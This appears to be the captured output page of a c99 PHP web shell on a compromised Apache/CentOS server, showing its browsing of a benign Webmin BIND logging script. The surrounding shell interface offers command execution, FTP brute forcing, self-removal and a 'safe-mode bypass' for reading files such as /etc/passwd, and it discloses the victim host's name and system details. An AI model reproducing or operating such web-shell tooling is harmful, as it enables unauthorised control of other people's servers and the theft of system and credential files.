!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/bind8/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_logging.cgi (2.8 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_logging.cgi
# Save global logging options

require './bind8-lib.pl';
$access{'defaults'} || &error($text{'logging_ecannot'});
&error_setup($text{'files_err'});
&ReadParse();

&lock_file(&make_chroot($config{'named_conf'}));
$conf = &get_config();
$logging = &find("logging", $conf);

if ($in{'mode'} eq 'cats') {
    # Save categories
    for($i=0; defined($cat = $in{"cat_$i"}); $i++) {
        next if (!$cat);
        @cchan = split(/\0/, $in{"cchan_$i"});
        push(@category, { 'name' => 'category',
                  'values' => [ $cat ],
                  'type' => 1,
                  'members' =>
                    [ map { { 'name' => $_ } } @cchan ] });
        }
    @channel = &find("channel", $logging->{'members'}) if ($logging);
    }
else {
    # Save channels
    for($i=0; defined($cname = $in{"cname_$i"}); $i++) {
        next if (!$cname);
        $cname =~ /^\S+$/ || &error(&text('logging_ename', $cname));
        local @mems;
        if ($in{"to_$i"} == 0) {
            $in{"file_$i"} || &error($text{'logging_efile'});
            $in{"file_$i"} =~ /^\// ||
                &error($text{'logging_efile2'});
            local @fvals = ( $in{"file_$i"} );
            if ($in{"vmode_$i"} == 1) {
                push(@fvals, 'versions', 'unlimited');
                }
            elsif ($in{"vmode_$i"} == 2) {
                $in{"ver_$i"} =~ /^\d+$/ ||
                    &error(&text('logging_ever', $in{"ver_$i"}));
                push(@fvals, 'versions', $in{"ver_$i"});
                }
            if ($in{"smode_$i"}) {
                $in{"size_$i"} =~ /^\d+[kmg]*$/i ||
                    &error(&text('logging_esize', $in{"size_$i"}));
                push(@fvals, 'size', $in{"size_$i"});
                }
            push(@mems, { 'name' => 'file',
                      'values' => \@fvals });
            }
        elsif ($in{"to_$i"} == 1) {
            push(@mems, { 'name' => 'syslog',
                      'values' => [ $in{"syslog_$i"} ] });
            }
        else {
            push(@mems, { 'name' => 'null' });
            }
        if ($in{"sev_$i"} eq 'debug') {
            push(@mems, { 'name' => 'severity',
                      'values' => [ 'debug', $in{"debug_$i"} ] });
            }
        elsif ($in{"sev_$i"}) {
            push(@mems, { 'name' => 'severity',
                      'values' => [ $in{"sev_$i"} ] });
            }
        foreach $p ('print-category', 'print-severity', 'print-time') {
            push(@mems, { 'name' => $p,
                      'values' => [ $in{"$p-$i"} ] }) if ($in{"$p-$i"});
            }
        push(@channel, { 'name' => 'channel',
                 'values' => [ $cname ],
                 'type' => 1,
                 'members' => \@mems } );
        }
    @category = &find("category", $logging->{'members'}) if ($logging);
    }

# Write out the logging section, creating if needed
if ($logging) {
    &save_directive($logging, 'channel', \@channel, 1);
    &save_directive($logging, 'category', [ ], 1);
    &save_directive($logging, 'category', [ reverse(@category) ], 1);
    }
else {
    $logging = { 'name' => 'logging',
             'type' => 1,
             'members' => [ @channel, @category ] };
    &save_directive(&get_config_parent(), 'logging', [ $logging ], 0);
    }
&flush_file_lines();
&unlock_file(&make_chroot($config{'named_conf'}));
&webmin_log("logging", undef, undef, \%in);
&redirect("");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--